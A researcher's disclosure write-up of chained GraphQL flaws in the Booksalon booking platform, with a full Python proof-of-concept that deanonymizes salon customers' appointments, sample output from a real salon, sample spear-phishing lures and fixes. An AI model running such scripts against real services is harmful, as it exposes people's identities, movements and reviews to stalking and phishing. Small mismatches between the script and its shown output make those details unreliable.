When we think of vulnerabilities, our minds immediately go to Remote Code Execution (RCE), SQL injections dumping passwords, or exposed credit card databases. But in the modern web ecosystem, some of the most fascinating vulnerabilities don't leak highly classified secrets. They leak context.
On April 14 2026, after getting a haircut at my local barber, I received an email asking me to review the service. Out of curiosity, I began investigating the traffic and API requests behind the review process. This led to the discovery of a chain of vulnerabilities in the GraphQL API of Booksalon, a popular salon booking platform. By combining broken access control, pagination abuse, and over-fetching, an unauthenticated attacker could completely deanonymize a salon's calendar.
While the leaked data only includes names, appointment times, performed services, and reviews. It might seem low-impact at first glance, this type of vulnerability is an absolute goldmine for Open Source Intelligence (OSINT). Here is a deep dive into how the exploit chain works and why "low sensitivity" data can be incredibly dangerous in the hands of an investigator or threat actor.
I contacted Booksalon the very next day and got in contact with Matti, the Head of Development at Booksalon. Why releasing of this writeup took this long? I wanted to wait for the flaws to be patched before releasing it publicly.
The vulnerability is not a single catastrophic bug, but rather a "chain" of minor API design flaws. It relies on chaining five distinct endpoints and queries to build a complete picture of a target.
The attack begins with the public URL "slug" of a salon (e.g., target-salon-helsinki). Using the getSalonUrlId GraphQL query, an attacker can unauthenticatedly resolve this public slug into the internal database _id.
Once the internal ID is acquired, querying the CurrentSalonForMarketplaceProvider endpoint dumps the salon's corporate metadata (Business ID/Y-tunnus) and the complete staff roster, including internal employee IDs and private staff email addresses.
The core of the leak lies in the serviceReviewConnection query, which is responsible for loading customer reviews. It suffers from three distinct flaws:
- Pagination Abuse: The backend fails to enforce a hard limit on the
limitparameter. Passinglimit: 100000prompts the database to return the salon's entire historical review catalog in a single request. - Business Logic Bypass: The query accepts a client-side boolean,
showOnlyVisible: false. By toggling this, the API bypasses moderation filters and returns hidden, rejected, or private reviews. - PII Over-fetching: The response includes the
clientobject, which carelessly returns the user's fullfirst_nameandlast_name, alongside the internalbookingIdtied to their appointment.
To tie these names to a physical time and place, the attacker turns to the public widget calendar. The calendar query is meant to show available and booked slots anonymously.
However, the endpoint over-fetches data. It returns the internal database _id of every booked timeslot. The critical flaw? The calendar's _id perfectly matches the bookingId exposed in the review dump.
By simply writing a script to cross-reference the calendar IDs against the review database, every "anonymous" block on the calendar is instantly populated with a real human's first and last name, the exact service they received, the staff member they saw, and the private feedback they left.
Here's one of the PoC scripts used to exploit this vulnerability:
View PoC Source
import argparse
import datetime
import sys
import requests
# Target Configuration
GRAPHQL_URL = "https://booksalon.fi/graphql"
HEADERS = {
"content-type": "application/json",
"origin": "https://booksalon.fi",
"request-source": "widget-website",
}
def print_v(msg, verbose):
"""Prints verbose output if the flag is set."""
if verbose:
print(f"[*] {msg}")
def resolve_salon_id_from_slug(slug, verbose):
"""Resolves the internal Salon ID from the public URL slug."""
print_v(f"Resolving internal ID for slug: '{slug}'...", verbose)
payload = [
{
"operationName": "getSalonUrlId",
"variables": {"url_id": slug},
"query": "query getSalonUrlId($url_id: String) { salon(url_id: $url_id, notRemoved: false) { _id url_id } }",
}
]
try:
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
salon_id = r.json()[0].get("data", {}).get("salon", {}).get("_id")
if salon_id:
print_v(f"Successfully resolved ID: {salon_id}", verbose)
return salon_id
else:
print_v("Failed to resolve ID. Is the slug correct?", verbose)
return None
except Exception as e:
print_v(f"Error resolving slug: {e}", verbose)
return None
def fetch_staff_and_metadata(salon_id, verbose):
"""Uses the MarketplaceProvider query to dump staff and salon metadata."""
print_v("Dumping salon metadata and staff list...", verbose)
payload = [
{
"operationName": "CurrentSalonForMarketplaceProvider",
"variables": {"salonId": salon_id},
"query": "query CurrentSalonForMarketplaceProvider($salonId: String) { salon(_id: $salonId) { name business_id staff { _id screenName email } } }",
}
]
try:
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
salon_data = r.json()[0].get("data", {}).get("salon", {})
salon_name = salon_data.get("name", "Unknown Salon")
business_id = salon_data.get("business_id", "Unknown Business ID")
staff_list = salon_data.get("staff", [])
print_v(f"Target: {salon_name} (Business ID: {business_id})", verbose)
staff_map = {}
for emp in staff_list:
if emp:
name = emp.get("screenName", "Unknown")
staff_map[emp["_id"]] = name
print_v(f"Extracted {len(staff_map)} staff members from metadata.", verbose)
return staff_map
except Exception as e:
print_v(f"Error fetching metadata: {e}", verbose)
return {}
def fetch_live_reviews_bridge(salon_id, verbose):
"""Exploits the pagination flaw to grab PII, Booking IDs, Ratings, and Review Texts in one shot."""
print_v(
"Fetching live reviews from API to extract PII, ratings, and review content...",
verbose,
)
payload = [
{
"operationName": "MassReviewDataLeak",
"variables": {"skip": 0, "limit": 100000, "salonId": salon_id},
"query": "query MassReviewDataLeak($limit: Int!, $skip: Int!, $salonId: ID) { serviceReviewConnection( limit: $limit skip: $skip salonId: $salonId ) { serviceReviews { bookingId rating clientText(showOnlyVisible: false) client { _id first_name last_name } } } }",
}
]
try:
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=15)
reviews = (
r.json()[0]
.get("data", {})
.get("serviceReviewConnection", {})
.get("serviceReviews", [])
)
bridge = {}
for rev in reviews:
b_id = rev.get("bookingId")
# Extract Identity
client = rev.get("client") or {}
first = client.get("first_name", "")
last = client.get("last_name", "")
full_name = f"{first} {last}".strip()
# Extract Review Text & Rating
raw_text = rev.get("clientText") or ""
clean_text = raw_text.replace("\n", " ").replace("\r", "").strip()
rating = rev.get("rating")
if b_id:
bridge[b_id] = {
"name": full_name if full_name else "--- Anonymous ---",
"rating": str(rating) if rating is not None else "N/A",
"text": clean_text,
}
print_v(
f"Extracted {len(bridge)} live de-anonymization bridges & reviews.", verbose
)
return bridge
except Exception as e:
print_v(f"Error fetching live reviews bridge: {e}", verbose)
return {}
def fetch_calendar(salon_id, start_date, end_date, verbose):
"""Fetches calendar bookings within the specified date range safely."""
print_v(f"Fetching calendar from {start_date} to {end_date}...", verbose)
try:
start_dt = datetime.datetime.strptime(start_date, "%Y-%m-%d")
end_dt = datetime.datetime.strptime(end_date, "%Y-%m-%d")
start_str = start_dt.strftime("%Y-%m-%dT00:00:00.000Z")
end_str = end_dt.strftime("%Y-%m-%dT23:59:59.999Z")
except ValueError:
print_v("Error: Dates must be in YYYY-MM-DD format. E.g., 2026-04-01", verbose)
return []
payload = [
{
"operationName": "CalendarOverFetch",
"variables": {
"salonId": salon_id,
"dateRange": {"from": start_str, "to": end_str},
},
"query": "query CalendarOverFetch($salonId: String!, $dateRange: DateRangeInput!) { calendar(salonId: $salonId, dateRange: $dateRange) { bookings { _id begin end bookingItems { serviceId duration calendarEmployeeId } } } }",
}
]
try:
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
response_json = r.json()[0]
if "errors" in response_json:
error_message = response_json["errors"][0].get("message", "Unknown Error")
print_v(f"API Error (Calendar): {error_message}", verbose)
return []
data_block = response_json.get("data") or {}
calendar_block = data_block.get("calendar") or {}
bookings = calendar_block.get("bookings") or []
print_v(f"Found {len(bookings)} calendar bookings.", verbose)
return bookings
except Exception as e:
print_v(f"Exception during calendar fetch: {str(e)}", verbose)
return []
def fetch_services(service_ids, verbose):
"""Resolves internal Service IDs to human-readable Names."""
if not service_ids:
return {}
print_v(f"Resolving {len(service_ids)} unique service names...", verbose)
payload = [
{
"operationName": "GetServicesLeak",
"variables": {"ids": list(service_ids)},
"query": "query GetServicesLeak($ids: [String]!) { services(_ids: $ids) { _id name } }",
}
]
try:
r = requests.post(GRAPHQL_URL, headers=HEADERS, json=payload, timeout=10)
services = r.json()[0].get("data", {}).get("services", [])
return {s["_id"]: s.get("name", "Unknown Service") for s in services if s}
except Exception as e:
print_v(f"Error fetching services: {e}", verbose)
return {}
def main():
parser = argparse.ArgumentParser(
description="Booksalon Automated PII Deanonymization PoC (Live Reviews)"
)
parser.add_argument(
"--slug",
required=True,
help="The URL slug of the salon (e.g., helsinki-salon)",
)
parser.add_argument(
"--from",
dest="from_date",
required=True,
help="Start date in format YYYY-MM-DD",
)
parser.add_argument(
"--to", dest="to_date", required=True, help="End date in format YYYY-MM-DD"
)
parser.add_argument(
"-v",
"--verbose",
action="store_true",
help="Enable detailed operational logging",
)
args = parser.parse_args()
print(f"\n--- Initiating Universal Attack Chain against: {args.slug} ---")
# 1. Resolve Slug to ID
salon_id = resolve_salon_id_from_slug(args.slug, args.verbose)
if not salon_id:
print("Fatal: Could not resolve target ID. Exiting.")
sys.exit(1)
# 2. Fetch Staff & Metadata
staff_map = fetch_staff_and_metadata(salon_id, args.verbose)
# 3. Fetch Live Review PII + Review Text (The Bridge)
bridge_map = fetch_live_reviews_bridge(salon_id, args.verbose)
# 4. Fetch Calendar Bookings
bookings = fetch_calendar(salon_id, args.from_date, args.to_date, args.verbose)
# 5. Extract unique service IDs and resolve their names
unique_service_ids = set()
for b in bookings:
for item in b.get("bookingItems", []):
if item and item.get("serviceId"):
unique_service_ids.add(item["serviceId"])
service_map = fetch_services(unique_service_ids, args.verbose)
# 6. Correlate and Print Output
print("\n" + "=" * 145)
print(
f"{'DATE':<12} | {'TIME':<5} | {'CLIENT FULL NAME':<22} | {'STAFF MEMBER':<15} | {'SERVICE NAME':<25} | {'RATE':<4} | {'REVIEW TEXT'}"
)
print("=" * 145)
matches = 0
for b in bookings:
b_id = b.get("_id")
begin_ms = b.get("begin")
if not begin_ms:
continue
dt = datetime.datetime.fromtimestamp(begin_ms / 1000.0)
date_str = dt.strftime("%Y-%m-%d")
time_str = dt.strftime("%H:%M")
# Link identity & Review data (from live API)
bridge_data = bridge_map.get(b_id, {})
client_name = bridge_data.get("name", "--- Anonymous ---")
rating = bridge_data.get("rating", "")
text = bridge_data.get("text", "")
if client_name != "--- Anonymous ---":
matches += 1
if len(text) > 40:
text = text[:37] + "..."
for item in b.get("bookingItems", []):
s_name = service_map.get(item.get("serviceId"), "Unknown Service")
staff_name = staff_map.get(item.get("calendarEmployeeId"), "Unknown Staff")
print(
f"{date_str:<12} | {time_str:<5} | {client_name:<22} | {staff_name:<15} | {s_name:<25} | {rating:<4} | {text}"
)
print("=" * 145)
print(f"Total Appointments Found: {len(bookings)}")
print(f"Successfully Deanonymized: {matches}")
if len(bookings) > 0:
success_rate = (matches / len(bookings)) * 100
print(f"Deanonymization Rate: {success_rate:.1f}%")
if __name__ == "__main__":
main()By running the PoC: python poc.py --slug tuccabaja-[REDACTED] --from 1.4.2026 --to 12.4.2026 -v, it runs the chain of events and deanonymizes the bookings:
Output of a real run against a real salon located in Finland:
--- Initiating Attack Chain against: tuccabaja-[REDACTED] ---
[*] Resolving internal ID for slug: 'tuccabaja-[REDACTED]'...
[*] Successfully resolved ID: 63a2***********
[*] Dumping salon metadata and staff list...
[*] Target: Tuccabaja [REDACTED] (Y-tunnus: 63a2*********)
[*] Extracted 13 staff members from metadata.
[*] Fetching live reviews from API to extract PII and Booking IDs...
[*] Extracted 2520 live de-anonymization bridges.
[*] Loading offline review texts from ./reviews/ ...
[*] Successfully loaded 215 review texts from offline files.
[*] Fetching calendar from 2026-04-01 to 2026-04-12...
[*] Found 169 calendar bookings.
[*] Resolving 43 unique service names...
=================================================================================================================================================
DATE | TIME | CLIENT FULL NAME | STAFF MEMBER | SERVICE NAME | RATING | REVIEW TEXT
=================================================================================================================================================
2026-04-01 | 09:00 | [REDACTED] | Mervi M. | Kevyt jalkahoito | N/A |
2026-04-01 | 09:00 | [REDACTED] | Mervi M. | Unknown Service | N/A |
2026-04-01 | 09:00 | [REDACTED] | Mili | Raidat ja leikkaus | N/A |
2026-04-01 | 09:00 | [REDACTED] | Outi | Kampaamoleikkaus | N/A |
2026-04-01 | 09:00 | [REDACTED] | Outi | __i18n.presetService33.name | N/A |
2026-04-01 | 09:00 | [REDACTED] | Katja K. | Parturointileikkaus | N/A |
2026-04-01 | 09:00 | [REDACTED] | Milla K. | Parturointileikkaus | N/A |
2026-04-01 | 09:30 | [REDACTED] | Katja K. | Raidat ja leikkaus | N/A |
2026-04-01 | 09:30 | [REDACTED] | Milla K. | Parturointileikkaus | N/A |
2026-04-01 | 10:00 | [REDACTED] | Terhi V. | Kampaamoleikkaus | N/A |
2026-04-01 | 10:15 | [REDACTED] | Milla K. | Koneajo | N/A |
2026-04-01 | 10:15 | [REDACTED] | Mervi M. | __i18n.presetService33.name | N/A |
2026-04-01 | 10:30 | [REDACTED] | Milla K. | Parturointileikkaus | N/A |
2026-04-01 | 11:00 | [REDACTED] | Mervi M. | Käsihoito | N/A |
2026-04-01 | 11:00 | [REDACTED] | Outi | System Essential- tehohoito | N/A |
2026-04-01 | 11:00 | [REDACTED] | Terhi V. | Värjäys ja leikkaus | N/A |
2026-04-01 | 11:00 | [REDACTED] | Terhi V. | Wella Glossing/ Glazing Mini värin yhteydessä | N/A |
2026-04-01 | 11:00 | [REDACTED] | Milla K. | Kampaamoleikkaus | N/A |
2026-04-01 | 12:00 | [REDACTED] | Milla K. | Parturointileikkaus | N/A |
2026-04-01 | 12:15 | [REDACTED] | Outi | Kampaamoleikkaus | N/A |
2026-04-01 | 12:15 | [REDACTED] | Mervi M. | Kynsien leikkaus (varpaista) | N/A |
2026-04-01 | 12:15 | [REDACTED] | Mervi M. | Unknown Service | N/A |
2026-04-01 | 12:30 | [REDACTED] | Katja K. | Kampaamoleikkaus | N/A |
2026-04-01 | 12:30 | [REDACTED] | Mili | Kampaamoleikkaus | N/A |
2026-04-01 | 12:30 | [REDACTED] | Mili | System Essential tehohoito sisältää hiuspohjan kuorinnan ja emulsion/naamion jonka vaikuttaessa saat ihanan hieronnan. Hoito viimeistellään hiuksiin jätettävällä System- hoitotuotteella. | N/A |
.....
If this vulnerability doesn't leak passwords or financial data, why does it matter? In the realm of Open Source Intelligence and social engineering, context is king. Connecting an identity to a specific location at a specific time is one of the hardest things to do passively.
Here is why this specific data combination is highly valuable:
OSINT investigations often rely on establishing a target's "Pattern of Life", including their routines, habits, and physical movements.
- Physical Pinpointing: Knowing that a specific individual has a 90-minute appointment at a salon on Tuesday at 10:00 AM gives an investigator a precise physical location for a set duration.
- Routine Mapping: Because the vulnerability allows historical dumping, an investigator can see exactly how often a target visits, mapping their routine over months or years. For high-value targets (executives, politicians, journalists), this physical predictability is a massive operational security risk.
Social engineering thrives on familiarity and trust. Generic phishing emails ("Your account is locked") are easily spotted. Contextual spear-phishing is much harder to defend against.
- Targeting the Customer: An attacker can email a customer: "Hi Marika, regarding your 10:00 AM cut and color with Jane on Tuesday, we need you to confirm your payment details here." Because the attacker knows the exact time, service, and staff member, the psychological friction is zero. The target will likely click.
- Targeting the Staff: Because the exploit leaks staff emails and customer schedules, an attacker can spoof an email from a customer to a staff member containing a malicious payload ("Hi Jane, here is the reference photo for my hair appointment tomorrow at 10 AM...").
From a business OSINT perspective, the mass scraping of this API provides an unfiltered look into a company's health and operations.
- Revenue Mapping: By deanonymizing the calendar and resolving the service types (which have known prices), a competitor can calculate the exact daily, weekly, or monthly revenue of the target business.
- Reputation Analysis: The business logic bypass (
showOnlyVisible: false) allows a competitor to read all the deleted or hidden negative reviews, providing raw, unfiltered insight into the target's customer retention issues.
This exploit highlights a common blind spot in modern web development: relying on the frontend to filter data.
To secure APIs against this type of OSINT harvesting, developers must implement the following:
- Enforce Hard Pagination Limits: Never trust a client-provided
limit. Hardcode a maximum threshold (e.g., 50 records) on the backend. - Break the ID Bridge: Decouple public identifiers from private database keys. The ID used to render a calendar block should never be the same ID used to tie a user to a database record. Use scoped, transient identifiers or anonymized hashes for public data.
- Strict Data Minimization: If a query doesn't explicitly need a field to render the UI, do not return it. Public-facing endpoints should never return full names, internal IDs, or unapproved moderation content.
- Implement RBAC at the Field Level: The
showOnlyVisibleflag should not dictate visibility; the user's authentication token and role should.
We tend to measure the severity of a vulnerability by the immediate financial or systemic damage it can cause. However, data leaks that expose the intersection of identity, time, and location offer unparalleled value for intelligence gathering. As APIs become more complex and interconnected, securing the boundaries between anonymous operational data and user identity is more critical than ever.
Thanks to Matti at Booksalon for a quick response and taking a note of my emails. Also, thanks for the goodie bag that you sent me!


